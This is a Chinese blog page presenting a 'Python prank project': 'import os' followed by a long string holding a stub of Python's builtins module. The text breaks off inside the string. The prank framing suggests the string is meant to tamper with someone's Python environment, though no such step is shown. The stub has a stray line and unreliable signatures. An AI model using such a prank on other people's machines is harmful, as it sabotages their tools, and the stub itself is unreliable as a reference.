当前位置:   article > 正文

Python恶搞项目。请友善使用!_revision file lacks trailing new line

revision file lacks trailing new line
  1. import os
  2. a = '''
  3. # encoding: utf-8
  4. # module builtins
  5. # from (built-in)
  6. # by generator 1.147
  7. """
  8. Built-in functions, exceptions, and other objects.
  9. Noteworthy: None is the `nil' object; Ellipsis represents `...' in slices.
  10. """
  11. # no imports
  12. # Variables with simple values
  13. # definition of False omitted
  14. # definition of None omitted
  15. # definition of True omitted
  16. # definition of __debug__ omitted
  17. # functions
  18. def abs(*args, **kwargs): # real signature unknown
  19. """ Return the absolute value of the argument. """
  20. pass
  21. def all(*args, **kwargs): # real signature unknown
  22. """
  23. Return True if bool(x) is True for all values x in the iterable.
  24. If the iterable is empty, return True.
  25. """
  26. pass
  27. def any(*args, **kwargs): # real signature unknown
  28. """
  29. Return True if bool(x) is True for any x in the iterable.
  30. If the iterable is empty, return False.
  31. """
  32. pass
  33. def ascii(*args, **kwargs): # real signature unknown
  34. """
  35. Return an ASCII-only representation of an object.
  36. As repr(), return a string containing a printable representation of an
  37. object, but escape the non-ASCII characters in the string returned by
  38. repr() using \\x, \\u or \\U escapes. This generates a string similar
  39. to that returned by repr() in Python 2.
  40. """
  41. pass
  42. def bin(*args, **kwargs): # real signature unknown; NOTE: unreliably restored from __doc__
  43. """
  44. Return the binary representation of an integer.
  45. >>> bin(2796202)
  46. '0b1010101010101010101010'
  47. """
  48. pass
  49. def breakpoint(*args, **kws): # real signature unknown; restored from __doc__
  50. """
  51. breakpoint(*args, **kws)
  52. Call sys.breakpointhook(*args, **kws). sys.breakpointhook() must accept
  53. whatever arguments are passed.
  54. By default, this drops you into the pdb debugger.
  55. """
  56. pass
  57. def callable(i_e_, some_kind_of_function): # real signature unknown; restored from __doc__
  58. """
  59. Return whether the object is callable (i.e., some kind of function).
  60. Note that classes are callable, as are instances of classes with a
  61. __call__() method.
  62. """
  63. pass
  64. def chr(*args, **kwargs): # real signature unknown
  65. """ Return a Unicode string of one character with ordinal i; 0 <= i <= 0x10ffff. """
  66. pass
  67. def compile(*args, **kwargs): # real signature unknown
  68. """
  69. Compile source into a code object that can be executed by exec() or eval().
  70. The source code may represent a Python module, statement or expression.
  71. The filename will be used for run-time error messages.
  72. The mode must be 'exec' to compile a module, 'single' to compile a
  73. single (interactive) statement, or 'eval' to compile an expression.
  74. The flags argument, if present, controls which future statements influence
  75. the compilation of the code.
  76. The dont_inherit argument, if true, stops the compilation inheriting
  77. the effects of any future statements in effect in the code calling
  78. compile; if absent or false these statements do influence the compilation,
  79. in addition to any features explicitly specified.
  80. """
  81. pass
  82. def copyright(*args, **kwargs): # real signature unknown
  83. """
  84. interactive prompt objects for printing the license text, a list of
  85. contributors and the copyright notice.
  86. """
  87. pass
  88. def credits(*args, **kwargs): # real signature unknown
  89. """
  90. interactive prompt objects for printing the license text, a list of
  91. contributors and the copyright notice.
  92. """
  93. pass
  94. def delattr(x, y): # real signature unknown; restored from __doc__
  95. """
  96. Deletes the named attribute from the given object.
  97. delattr(x, 'y') is equivalent to ``del x.y''
  98. """
  99. pass
  100. def dir(p_object=None): # real signature unknown; restored from __doc__
  101. """
  102. dir([object]) -> list of strings
  103. If called without an argument, return the names in the current scope.
  104. Else, return an alphabetized list of names comprising (some of) the attributes
  105. of the given object, and of attributes reachable from it.
  106. If the object supplies a method named __dir__, it will be used; otherwise
  107. the default dir() logic is used and returns:
  108. for a module object: the module's attributes.
  109. for a class object: its attributes, and recursively the attributes
  110. of its bases.
  111. for any other object: its attributes, its class's attributes, and
  112. recursively the attributes of its class's base classes.
  113. """
  114. return []
  115. def divmod(x, y): # known case of builtins.divmod
  116. """ Return the tuple (x//y, x%y). Invariant: div*y + mod == x. """
  117. return (0, 0)
  118. def eval(*args, **kwargs): # real signature unknown
  119. """
  120. Evaluate the given source in the context of globals and locals.
  121. The source may be a string representing a Python expression
  122. or a code object as returned by compile().
  123. The globals must be a dictionary and locals can be any mapping,
  124. defaulting to the current globals and locals.
  125. If only globals is given, locals defaults to it.
  126. """
  127. pass
  128. def exec(*args, **kwargs): # real signature unknown
  129. """
  130. Execute the given source in the context of globals and locals.
  131. The source may be a string representing one or more Python statements
  132. or a code object as returned by compile().
  133. The globals must be a dictionary and locals can be any mapping,
  134. defaulting to the current globals and locals.
  135. If only globals is given, locals defaults to it.
  136. """
  137. pass
  138. def exit(*args, **kwargs): # real signature unknown
  139. pass
  140. def format(*args, **kwargs): # real signature unknown
  141. """
  142. Return value.__format__(format_spec)
  143. format_spec defaults to the empty string.
  144. See the Format Specification Mini-Language section of help('FORMATTING') for
  145. details.
  146. """
  147. pass
  148. def getattr(object, name, default=None): # known special case of getattr
  149. """
  150. getattr(object, name[, default]) -> value
  151. Get a named attribute from an object; getattr(x, 'y') is equivalent to x.y.
  152. When a default argument is given, it is returned when the attribute doesn't
  153. exist; without it, an exception is raised in that case.
  154. """
  155. pass
  156. def globals(*args, **kwargs): # real signature unknown
  157. """
  158. Return the dictionary containing the current scope's global variables.
  159. NOTE: Updates to this dictionary *will* affect name lookups in the current
  160. global scope and vice-versa.
  161. """
  162. pass
  163. def hasattr(*args, **kwargs): # real signature unknown
  164. """
  165. Return whether the object has an attribute with the given name.
  166. This is done by calling getattr(obj, name) and catching AttributeError.
  167. """
  168. pass
  169. def hash(*args, **kwargs): # real signature unknown
  170. """
  171. Return the hash value for the given object.
  172. Two objects that compare equal must also have the same hash value, but the
  173. reverse is not necessarily true.
  174. """
  175. pass
  176. def help(): # real signature unknown; restored from __doc__
  177. """
  178. Define the builtin 'help'.
  179. This is a wrapper around pydoc.help that provides a helpful message
  180. when 'help' is typed at the Python interactive prompt.
  181. Calling help() at the Python prompt starts an interactive help session.
  182. Calling help(thing) prints help for the python object 'thing'.
  183. """
  184. pass
  185. def hex(*args, **kwargs): # real signature unknown; NOTE: unreliably restored from __doc__
  186. """
  187. Return the hexadecimal representation of an integer.
  188. >>> hex(12648430)
  189. '0xc0ffee'
  190. """
  191. pass
  192. def id(*args, **kwargs): # real signature unknown
  193. """
  194. Return the identity of an object.
  195. This is guaranteed to be unique among simultaneously existing objects.
  196. (CPython uses the object's memory address.)
  197. """
  198. pass
  199. def input(*args, **kwargs): # real signature unknown
  200. """
  201. Read a string from standard input. The trailing newline is stripped.
  202. The prompt string, if given, is printed to standard output without a
  203. trailing newline before reading input.
  204. If the user hits EOF (*nix: Ctrl-D, Windows: Ctrl-Z+Return), raise EOFError.
  205. On *nix systems, readline is used if available.
  206. """
  207. pass
  208. def isinstance(x, A_tuple): # real signature unknown; restored from __doc__
  209. """
  210. Return whether an object is an instance of a class or of a subclass thereof.
  211. A tuple, as in ``isinstance(x, (A, B, ...))``, may be given as the target to
  212. check against. This is equivalent to ``isinstance(x, A) or isinstance(x, B)
  213. or ...`` etc.
  214. """
  215. pass
  216. def issubclass(x, A_tuple): # real signature unknown; restored from __doc__
  217. """
  218. Return whether 'cls' is a derived from another class or is the same class.
  219. A tuple, as in ``issubclass(x, (A, B, ...))``, may be given as the target to
  220. check against. This is equivalent to ``issubclass(x, A) or issubclass(x, B)
  221. or ...`` etc.
  222. """
  223. pass
  224. def iter(source, sentinel=None): # known special case of iter
  225. """
  226. iter(iterable) -> iterator
  227. iter(callable, sentinel) -> iterator
  228. Get an iterator from an object. In the first form, the argument must
  229. supply its own iterator, or be a sequence.
  230. In the second form, the callable is called until it returns the sentinel.
  231. """
  232. pass
  233. def len(*args, **kwargs): # real signature unknown
  234. """ Return the number of items in a container. """
  235. pass
  236. def license(*args, **kwargs): # real signature unknown
  237. """
  238. interactive prompt objects for printing the license text, a list of
  239. contributors and the copyright notice.
  240. """
  241. pass
  242. def locals(*args, **kwargs): # real signature unknown
  243. """
  244. Return a dictionary containing the current scope's local variables.
  245. NOTE: Whether or not updates to this dictionary will affect name lookups in
  246. the local scope and vice-versa is *implementation dependent* and not
  247. covered by any backwards compatibility guarantees.
  248. """
  249. pass
  250. def max(*args, key=None): # known special case of max
  251. """
  252. max(iterable, *[, default=obj, key=func]) -> value
  253. max(arg1, arg2, *args, *[, key=func]) -> value
  254. With a single iterable argument, return its biggest item. The
  255. default keyword-only argument specifies an object to return if
  256. the provided iterable is empty.
  257. With two or more arguments, return the largest argument.
  258. """
  259. pass
  260. def min(*args, key=None): # known special case of min
  261. """
  262. min(iterable, *[, default=obj, key=func]) -> value
  263. min(arg1, arg2, *args, *[, key=func]) -> value
  264. With a single iterable argument, return its smallest item. The
  265. default keyword-only argument specifies an object to return if
  266. the provided iterable is empty.
  267. With two or more arguments, return the smallest argument.
  268. """
  269. pass
  270. def next(iterator, default=None): # real signature unknown; restored from __doc__
  271. """
  272. next(iterator[, default])
  273. Return the next item from the iterator. If default is given and the iterator
  274. is exhausted, it is returned instead of raising StopIteration.
  275. """
  276. pass
  277. def oct(*args, **kwargs): # real signature unknown; NOTE: unreliably restored from __doc__
  278. """
  279. Return the octal representation of an integer.
  280. >>> oct(342391)
  281. '0o1234567'
  282. """
  283. pass
  284. def open(file, mode='r', buffering=None, encoding=None, errors=None, newline=None, closefd=True): # known special case of open
  285. """
  286. Open file and return a stream. Raise OSError upon failure.
  287. file is either a text or byte string giving the name (and the path
  288. if the file isn't in the current working directory) of the file to
  289. be opened or an integer file descriptor of the file to be
  290. wrapped. (If a file descriptor is given, it is closed when the
  291. returned I/O object is closed, unless closefd is set to False.)
  292. mode is an optional string that specifies the mode in which the file
  293. is opened. It defaults to 'r' which means open for reading in text
  294. mode. Other common values are 'w' for writing (truncating the file if
  295. it already exists), 'x' for creating and writing to a new file, and
  296. 'a' for appending (which on some Unix systems, means that all writes
  297. append to the end of the file regardless of the current seek position).
  298. In text mode, if encoding is not specified the encoding used is platform
  299. dependent: locale.getpreferredencoding(False) is called to get the
  300. current locale encoding. (For reading and writing raw bytes use binary
  301. mode and leave encoding unspecified.) The available modes are:
  302. ========= ===============================================================
  303. Character Meaning
  304. --------- ---------------------------------------------------------------
  305. 'r' open for reading (default)
  306. 'w' open for writing, truncating the file first
  307. 'x' create a new file and open it for writing
  308. 'a' open for writing, appending to the end of the file if it exists
  309. 'b' binary mode
  310. 't' text mode (default)
  311. '+' open a disk file for updating (reading and writing)
  312. 'U' universal newline mode (deprecated)
  313. ========= ===============================================================
  314. The default mode is 'rt' (open for reading text). For binary random
  315. access, the mode 'w+b' opens and truncates the file to 0 bytes, while
  316. 'r+b' opens the file without truncation. The 'x' mode implies 'w' and
  317. raises an `FileExistsError` if the file already exists.
  318. Python distinguishes between files opened in binary and text modes,
  319. even when the underlying operating system doesn't. Files opened in
  320. binary mode (appending 'b' to the mode argument) return contents as
  321. bytes objects without any decoding. In text mode (the default, or when
  322. 't' is appended to the mode argument), the contents of the file are
  323. returned as strings, the bytes having been first decoded using a
  324. platform-dependent encoding or using the specified encoding if given.
  325. 'U' mode is deprecated and will raise an exception in future versions
  326. of Python. It has no effect in Python 3. Use newline to control
  327. universal newlines mode.
  328. buffering is an optional integer used to set the buffering policy.
  329. Pass 0 to switch buffering off (only allowed in binary mode), 1 to select
  330. line buffering (only usable in text mode), and an integer > 1 to indicate
  331. the size of a fixed-size chunk buffer. When no buffering argument is
  332. given, the default buffering policy works as follows:
  333. * Binary files are buffered in fixed-size chunks; the size of the buffer
  334. is chosen using a heuristic trying to determine the underlying device's
  335. "block size" and falling back on `io.DEFAULT_BUFFER_SIZE`.
  336. On many systems, the buffer will typically be 4096 or 8192 bytes long.
  337. * "Interactive" text files (files for which isatty() returns True)
  338. use line buffering. Other text files use the policy described above
  339. for binary files.
  340. encoding is the name of the encoding used to decode or encode the
  341. file. This should only be used in text mode. The default encoding is
  342. platform dependent, but any encoding supported by Python can be
  343. passed. See the codecs module for the list of supported encodings.
  344. errors is an optional string that specifies how encoding errors are to
  345. be handled---this argument should not be used in binary mode. Pass
  346. 'strict' to raise a ValueError exception if there is an encoding error
  347. (the default of None has the same effect), or pass 'ignore' to ignore
  348. errors. (Note that ignoring encoding errors can lead to data loss.)
  349. See the documentation for codecs.register or run 'help(codecs.Codec)'
  350. for a list of the permitted encoding error strings.
  351. newline controls how universal newlines works (it only applies to text
  352. mode). It can be None, '', '\n', '\r', and '\r\n'. It works as
  353. follows:
  354. * On input, if newline is None, universal newlines mode is
  355. enabled. Lines in the input can end in '\n', '\r', or '\r\n', and
  356. these are translated into '\n' before being returned to the
  357. caller. If it is '', universal newline mode is enabled, but line
  358. endings are returned to the caller untranslated. If it has any of
  359. the other legal values, input lines are only terminated by the given
  360. string, and the line ending is returned to the caller untranslated.
  361. * On output, if newline is None, any '\n' characters written are
  362. translated to the system default line separator, os.linesep. If
  363. newline is '' or '\n', no translation takes place. If newline is any
  364. of the other legal values, any '\n' characters written are translated
  365. to the given string.
  366. If closefd is False, the underlying file descriptor will be kept open
  367. when the file is closed. This does not work when a file name is given
  368. and must be True in that case.
  369. A custom opener can be used by passing a callable as *opener*. The
  370. underlying file descriptor for the file object is then obtained by
  371. calling *opener* with (*file*, *flags*). *opener* must return an open
  372. file descriptor (passing os.open as *opener* results in functionality
  373. similar to passing None).
  374. open() returns a file object whose type depends on the mode, and
  375. through which the standard file operations such as reading and writing
  376. are performed. When open() is used to open a file in a text mode ('w',
  377. 'r', 'wt', 'rt', etc.), it returns a TextIOWrapper. When used to open
  378. a file in a binary mode, the returned class varies: in read binary
  379. mode, it returns a BufferedReader; in write binary and append binary
  380. modes, it returns a BufferedWriter, and in read/write mode, it returns
  381. a BufferedRandom.
  382. It is also possible to use a string or bytearray as a file for both
  383. reading and writing. For strings StringIO can be used like a file
  384. opened in a text mode, and for bytes a BytesIO can be used like a file
  385. opened in a binary mode.
  386. """
  387. pass
  388. def ord(*args, **kwargs): # real signature unknown
  389. """ Return the Unicode code point for a one-character string. """
  390. pass
  391. def pow(*args, **kwargs): # real signature unknown
  392. """
  393. Equivalent to base**exp with 2 arguments or base**exp % mod with 3 arguments
  394. Some types, such as ints, are able to use a more efficient algorithm when
  395. invoked using the three argument form.
  396. """
  397. pass
  398. def print(self, *args, sep=' ', end='\n', file=None): # known special case of print
  399. """
  400. print(value, ..., sep=' ', end='\n', file=sys.stdout, flush=False)
  401. Prints the values to a stream, or to sys.stdout by default.
  402. Optional keyword arguments:
  403. file: a file-like object (stream); defaults to the current sys.stdout.
  404. sep: string inserted between values, default a space.
  405. end: string appended after the last value, default a newline.
  406. flush: whether to forcibly flush the stream.
  407. """
  408. pass
  409. def quit(*args, **kwargs): # real signature unknown
  410. pass
  411. def repr(obj): # real signature unknown; restored from __doc__
  412. """
  413. Return the canonical string representation of the object.
  414. For many object types, including most builtins, eval(repr(obj)) == obj.
  415. """
  416. pass
  417. def round(*args, **kwargs): # real signature unknown
  418. """
  419. Round a number to a given precision in decimal digits.
  420. The return value is an integer if ndigits is omitted or None. Otherwise
  421. the return value has the same type as the number. ndigits may be negative.
  422. """
  423. pass
  424. def setattr(x, y, v): # real signature unknown; restored from __doc__
  425. """
  426. Sets the named attribute on the given object to the specified value.
  427. setattr(x, 'y', v) is equivalent to ``x.y = v''
  428. """
  429. pass
  430. def sorted(*args, **kwargs): # real signature unknown
  431. """
  432. Return a new list containing all items from the iterable in ascending order.
  433. A custom key function can be supplied to customize the sort order, and the
  434. reverse flag can be set to request the result in descending order.
  435. """
  436. pass
  437. def sum(*args, **kwargs): # real signature unknown
  438. """
  439. Return the sum of a 'start' value (default: 0) plus an iterable of numbers
  440. When the iterable is empty, return the start value.
  441. This function is intended specifically for use with numeric values and may
  442. reject non-numeric types.
  443. """
  444. pass
  445. def vars(p_object=None): # real signature unknown; restored from __doc__
  446. """
  447. vars([object]) -> dictionary
  448. Without arguments, equivalent to locals().
  449. With an argument, equivalent to object.__dict__.
  450. """
  451. return {}
  452. def __build_class__(func, name, *args, **kwargs): # real signature unknown; NOTE: unreliably restored from __doc__
  453. """
  454. __build_class__(func, name, /, *bases, [metaclass], **kwds) -> class
  455. Internal helper function used by the class statement.
  456. """
  457. pass
  458. def __import__(name, globals=None, locals=None, fromlist=(), level=0): # real signature unknown; restored from __doc__
  459. """
  460. __import__(name, globals=None, locals=None, fromlist=(), level=0) -> module
  461. Import a module. Because this function is meant for use by the Python
  462. interpreter and not for general use, it is better to use
  463. importlib.import_module() to programmatically import a module.
  464. The globals argument is only used to determine the context;
  465. they are not modified. The locals argument is unused. The fromlist
  466. should be a list of names to emulate ``from name import ...'', or an
  467. empty list to emulate ``import name''.
  468. When importing a module from a package, note that __import__('A.B', ...)
  469. returns package A when fromlist is empty, but its submodule B when
  470. fromlist is not empty. The level argument is used to determine whether to
  471. perform absolute or relative imports: 0 is absolute, while a positive number
  472. is the number of parent directories to search relative to the current module.
  473. """
  474. pass
  475. # classes
  476. class __generator(object):
  477. def __init__(self):
  478. self.gi_code = None
  479. self.gi_frame = None
  480. self.gi_running = 0
  481. d
  482. pass
  483. def __next__(self):
  484. pass
  485. def close(self):
  486. pass
  487. def send(self, value):
  488. pass
  489. def throw(self, type, value=None, traceback=None):
  490. pass
  491. class __asyncgenerator(object):
  492. def __init__(self):
  493. self.__name__ = ''
  494. self.__qualname__ = ''
  495. self.ag_await = None
  496. self.ag_frame = None
  497. self.ag_running = False
  498. self.ag_code = None
  499. def __aiter__(self):
  500. pass
  501. def __anext__(self):
  502. pass
  503. def aclose(self):
  504. pass
  505. def asend(self, value):
  506. pass
  507. def athrow(self, type, value=None, traceback=None):
  508. pass
  509. class __function(object):
  510. def __init__(self):
  511. self.__name__ = ''
  512. self.__doc__ = ''
  513. self.__dict__ = ''
  514. self.__module__ = ''
  515. self.__defaults__ = {}
  516. self.__globals__ = {}
  517. self.__closure__ = None
  518. self.__code__ = None
  519. self.__name__ = ''
  520. self.__annotations__ = {}
  521. self.__kwdefaults__ = {}
  522. self.__qualname__ = ''
  523. class __method(object):
  524. def __init__(self):
  525. self.__func__ = None
  526. self.__self__ = None
  527. class __coroutine(object):
  528. def __init__(self):
  529. self.__name__ = ''
  530. self.__qualname__ = ''
  531. self.cr_await = None
  532. self.cr_frame = None
  533. self.cr_running = False
  534. self.cr_code = None
  535. def __await__(self):
  536. return []
  537. def close(self):
  538. pass
  539. def send(self, value):
  540. pass
  541. def throw(self, type, value=None, traceback=None):
  542. pass
  543. class __namedtuple(tuple):
  544. __slots__ = ()
  545. _fields = ()
  546. def __new__(cls, *args, **kwargs):
  547. 'Create a new instance of the named tuple.'
  548. return tuple.__new__(cls, *args)
  549. @classmethod
  550. def _make(cls, iterable, new=tuple.__new__, len=len):
  551. 'Make a new named tuple object from a sequence or iterable.'
  552. return new(cls, iterable)
  553. def __repr__(self):
  554. return ''
  555. def _asdict(self):
  556. 'Return a new dict which maps field types to their values.'
  557. return {}
  558. def _replace(self, **kwargs):
  559. 'Return a new named tuple object replacing specified fields with new values.'
  560. return self
  561. def __getnewargs__(self):
  562. return tuple(self)
  563. class object:
  564. """
  565. The base class of the class hierarchy.
  566. When called, it accepts no arguments and returns a new featureless
  567. instance that has no instance attributes and cannot be given any.
  568. """
  569. def __delattr__(self, *args, **kwargs): # real signature unknown
  570. """ Implement delattr(self, name). """
  571. pass
  572. def __dir__(self, *args, **kwargs): # real signature unknown
  573. """ Default dir() implementation. """
  574. pass
  575. def __eq__(self, *args, **kwargs): # real signature unknown
  576. """ Return self==value. """
  577. pass
  578. def __format__(self, *args, **kwargs): # real signature unknown
  579. """ Default object formatter. """
  580. pass
  581. def __getattribute__(self, *args, **kwargs): # real signature unknown
  582. """ Return getattr(self, name). """
  583. pass
  584. def __ge__(self, *args, **kwargs): # real signature unknown
  585. """ Return self>=value. """
  586. pass
  587. def __gt__(self, *args, **kwargs): # real signature unknown
  588. """ Return self>value. """
  589. pass
  590. def __hash__(self, *args, **kwargs): # real signature unknown
  591. """ Return hash(self). """
  592. pass
  593. def __init_subclass__(self, *args, **kwargs): # real signature unknown
  594. """
  595. This method is called when a class is subclassed.
  596. The default implementation does nothing. It may be
  597. overridden to extend subclasses.
  598. """
  599. pass
  600. def __init__(self): # known special case of object.__init__
  601. """ Initialize self. See help(type(self)) for accurate signature. """
  602. pass
  603. def __le__(self, *args, **kwargs): # real signature unknown
  604. """ Return self<=value. """
  605. pass
  606. def __lt__(self, *args, **kwargs): # real signature unknown
  607. """ Return self<value. """
  608. pass
  609. @staticmethod # known case of __new__
  610. def __new__(cls, *more): # known special case of object.__new__
  611. """ Create and return a new object. See help(type) for accurate signature. """
  612. pass
  613. def __ne__(self, *args, **kwargs): # real signature unknown
  614. """ Return self!=value. """
  615. pass
  616. def __reduce_ex__(self, *args, **kwargs): # real signature unknown
  617. """ Helper for pickle. """
  618. pass
  619. def __reduce__(self, *args, **kwargs): # real signature unknown
  620. """ Helper for pickle. """
  621. pass
  622. def __repr__(self, *args, **kwargs): # real signature unknown
  623. """ Return repr(self). """
  624. pass
  625. def __setattr__(self, *args, **kwargs): # real signature unknown
  626. """ Implement setattr(self, name, value). """
  627. pass
  628. def __sizeof__(self, *args, **kwargs): # real signature unknown
  629. """ Size of object in memory, in bytes. """
  630. pass
  631. def __str__(self, *args, **kwargs): # real signature unknown
  632. """ Return str(self). """
  633. pass
  634. @classmethod # known case
  635. def __subclasshook__(cls, subclass): # known special case of object.__subclasshook__
  636. """
  637. Abstract classes can override this to customize issubclass().
  638. This is invoked early on by abc.ABCMeta.__subclasscheck__().
  639. It should return True, False or NotImplemented. If it returns
  640. NotImplemented, the normal algorithm is used. Otherwise, it
  641. overrides the normal algorithm (and the outcome is cached).
  642. """
  643. pass
  644. __class__ = None # (!) forward: type, real value is "<class 'type'>"
  645. __dict__ = {}
  646. __doc__ = ''
  647. __module__ = ''
  648. class BaseException(object):
  649. """ Common base class for all exceptions """
  650. def with_traceback(self, tb): # real signature unknown; restored from __doc__
  651. """
  652. Exception.with_traceback(tb) --
  653. set self.__traceback__ to tb and return self.
  654. """
  655. pass
  656. def __delattr__(self, *args, **kwargs): # real signature unknown
  657. """ Implement delattr(self, name). """
  658. pass
  659. def __getattribute__(self, *args, **kwargs): # real signature unknown
  660. """ Return getattr(self, name). """
  661. pass
  662. def __init__(self, *args, **kwargs): # real signature unknown
  663. pass
  664. @staticmethod # known case of __new__
  665. def __new__(*args, **kwargs): # real signature unknown
  666. """ Create and return a new object. See help(type) for accurate signature. """
  667. pass
  668. def __reduce__(self, *args, **kwargs): # real signature unknown
  669. pass
  670. def __repr__(self, *args, **kwargs): # real signature unknown
  671. """ Return repr(self). """
  672. pass
  673. def __setattr__(self, *args, **kwargs): # real signature unknown
  674. """ Implement setattr(self, name, value). """
  675. pass
  676. def __setstate__(self, *args, **kwargs): # real signature unknown
  677. pass
  678. def __str__(self, *args, **kwargs): # real signature unknown
  679. """ Return str(self). """
  680. pass
  681. args = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  682. __cause__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  683. """exception cause"""
  684. __context__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  685. """exception context"""
  686. __suppress_context__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  687. __traceback__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  688. __dict__ = None # (!) real value is "mappingproxy({'__repr__': <slot wrapper '__repr__' of 'BaseException' objects>, '__str__': <slot wrapper '__str__' of 'BaseException' objects>, '__getattribute__': <slot wrapper '__getattribute__' of 'BaseException' objects>, '__setattr__': <slot wrapper '__setattr__' of 'BaseException' objects>, '__delattr__': <slot wrapper '__delattr__' of 'BaseException' objects>, '__init__': <slot wrapper '__init__' of 'BaseException' objects>, '__new__': <built-in method __new__ of type object at 0x00007FFE2F3DF070>, '__reduce__': <method '__reduce__' of 'BaseException' objects>, '__setstate__': <method '__setstate__' of 'BaseException' objects>, 'with_traceback': <method 'with_traceback' of 'BaseException' objects>, '__suppress_context__': <member '__suppress_context__' of 'BaseException' objects>, '__dict__': <attribute '__dict__' of 'BaseException' objects>, 'args': <attribute 'args' of 'BaseException' objects>, '__traceback__': <attribute '__traceback__' of 'BaseException' objects>, '__context__': <attribute '__context__' of 'BaseException' objects>, '__cause__': <attribute '__cause__' of 'BaseException' objects>, '__doc__': 'Common base class for all exceptions'})"
  689. class Exception(BaseException):
  690. """ Common base class for all non-exit exceptions. """
  691. def __init__(self, *args, **kwargs): # real signature unknown
  692. pass
  693. @staticmethod # known case of __new__
  694. def __new__(*args, **kwargs): # real signature unknown
  695. """ Create and return a new object. See help(type) for accurate signature. """
  696. pass
  697. class ArithmeticError(Exception):
  698. """ Base class for arithmetic errors. """
  699. def __init__(self, *args, **kwargs): # real signature unknown
  700. pass
  701. @staticmethod # known case of __new__
  702. def __new__(*args, **kwargs): # real signature unknown
  703. """ Create and return a new object. See help(type) for accurate signature. """
  704. pass
  705. class AssertionError(Exception):
  706. """ Assertion failed. """
  707. def __init__(self, *args, **kwargs): # real signature unknown
  708. pass
  709. @staticmethod # known case of __new__
  710. def __new__(*args, **kwargs): # real signature unknown
  711. """ Create and return a new object. See help(type) for accurate signature. """
  712. pass
  713. class AttributeError(Exception):
  714. """ Attribute not found. """
  715. def __init__(self, *args, **kwargs): # real signature unknown
  716. pass
  717. @staticmethod # known case of __new__
  718. def __new__(*args, **kwargs): # real signature unknown
  719. """ Create and return a new object. See help(type) for accurate signature. """
  720. pass
  721. class WindowsError(Exception):
  722. """ Base class for I/O related errors. """
  723. def __init__(self, *args, **kwargs): # real signature unknown
  724. pass
  725. @staticmethod # known case of __new__
  726. def __new__(*args, **kwargs): # real signature unknown
  727. """ Create and return a new object. See help(type) for accurate signature. """
  728. pass
  729. def __reduce__(self, *args, **kwargs): # real signature unknown
  730. pass
  731. def __str__(self, *args, **kwargs): # real signature unknown
  732. """ Return str(self). """
  733. pass
  734. characters_written = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  735. errno = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  736. """POSIX exception code"""
  737. filename = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  738. """exception filename"""
  739. filename2 = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  740. """second exception filename"""
  741. strerror = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  742. """exception strerror"""
  743. winerror = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  744. """Win32 exception code"""
  745. OSError = WindowsError
  746. IOError = WindowsError
  747. EnvironmentError = WindowsError
  748. class BlockingIOError(OSError):
  749. """ I/O operation would block. """
  750. def __init__(self, *args, **kwargs): # real signature unknown
  751. pass
  752. class int(object):
  753. """
  754. int([x]) -> integer
  755. int(x, base=10) -> integer
  756. Convert a number or string to an integer, or return 0 if no arguments
  757. are given. If x is a number, return x.__int__(). For floating point
  758. numbers, this truncates towards zero.
  759. If x is not a number or if base is given, then x must be a string,
  760. bytes, or bytearray instance representing an integer literal in the
  761. given base. The literal can be preceded by '+' or '-' and be surrounded
  762. by whitespace. The base defaults to 10. Valid bases are 0 and 2-36.
  763. Base 0 means to interpret the base from the string as an integer literal.
  764. >>> int('0b100', base=0)
  765. 4
  766. """
  767. def as_integer_ratio(self): # real signature unknown; restored from __doc__
  768. """
  769. Return integer ratio.
  770. Return a pair of integers, whose ratio is exactly equal to the original int
  771. and with a positive denominator.
  772. >>> (10).as_integer_ratio()
  773. (10, 1)
  774. >>> (-10).as_integer_ratio()
  775. (-10, 1)
  776. >>> (0).as_integer_ratio()
  777. (0, 1)
  778. """
  779. pass
  780. def bit_length(self): # real signature unknown; restored from __doc__
  781. """
  782. Number of bits necessary to represent self in binary.
  783. >>> bin(37)
  784. '0b100101'
  785. >>> (37).bit_length()
  786. 6
  787. """
  788. pass
  789. def conjugate(self, *args, **kwargs): # real signature unknown
  790. """ Returns self, the complex conjugate of any int. """
  791. pass
  792. @classmethod # known case
  793. def from_bytes(cls, *args, **kwargs): # real signature unknown
  794. """
  795. Return the integer represented by the given array of bytes.
  796. bytes
  797. Holds the array of bytes to convert. The argument must either
  798. support the buffer protocol or be an iterable object producing bytes.
  799. Bytes and bytearray are examples of built-in objects that support the
  800. buffer protocol.
  801. byteorder
  802. The byte order used to represent the integer. If byteorder is 'big',
  803. the most significant byte is at the beginning of the byte array. If
  804. byteorder is 'little', the most significant byte is at the end of the
  805. byte array. To request the native byte order of the host system, use
  806. `sys.byteorder' as the byte order value.
  807. signed
  808. Indicates whether two's complement is used to represent the integer.
  809. """
  810. pass
  811. def to_bytes(self, *args, **kwargs): # real signature unknown
  812. """
  813. Return an array of bytes representing an integer.
  814. length
  815. Length of bytes object to use. An OverflowError is raised if the
  816. integer is not representable with the given number of bytes.
  817. byteorder
  818. The byte order used to represent the integer. If byteorder is 'big',
  819. the most significant byte is at the beginning of the byte array. If
  820. byteorder is 'little', the most significant byte is at the end of the
  821. byte array. To request the native byte order of the host system, use
  822. `sys.byteorder' as the byte order value.
  823. signed
  824. Determines whether two's complement is used to represent the integer.
  825. If signed is False and a negative integer is given, an OverflowError
  826. is raised.
  827. """
  828. pass
  829. def __abs__(self, *args, **kwargs): # real signature unknown
  830. """ abs(self) """
  831. pass
  832. def __add__(self, *args, **kwargs): # real signature unknown
  833. """ Return self+value. """
  834. pass
  835. def __and__(self, *args, **kwargs): # real signature unknown
  836. """ Return self&value. """
  837. pass
  838. def __bool__(self, *args, **kwargs): # real signature unknown
  839. """ self != 0 """
  840. pass
  841. def __ceil__(self, *args, **kwargs): # real signature unknown
  842. """ Ceiling of an Integral returns itself. """
  843. pass
  844. def __divmod__(self, *args, **kwargs): # real signature unknown
  845. """ Return divmod(self, value). """
  846. pass
  847. def __eq__(self, *args, **kwargs): # real signature unknown
  848. """ Return self==value. """
  849. pass
  850. def __float__(self, *args, **kwargs): # real signature unknown
  851. """ float(self) """
  852. pass
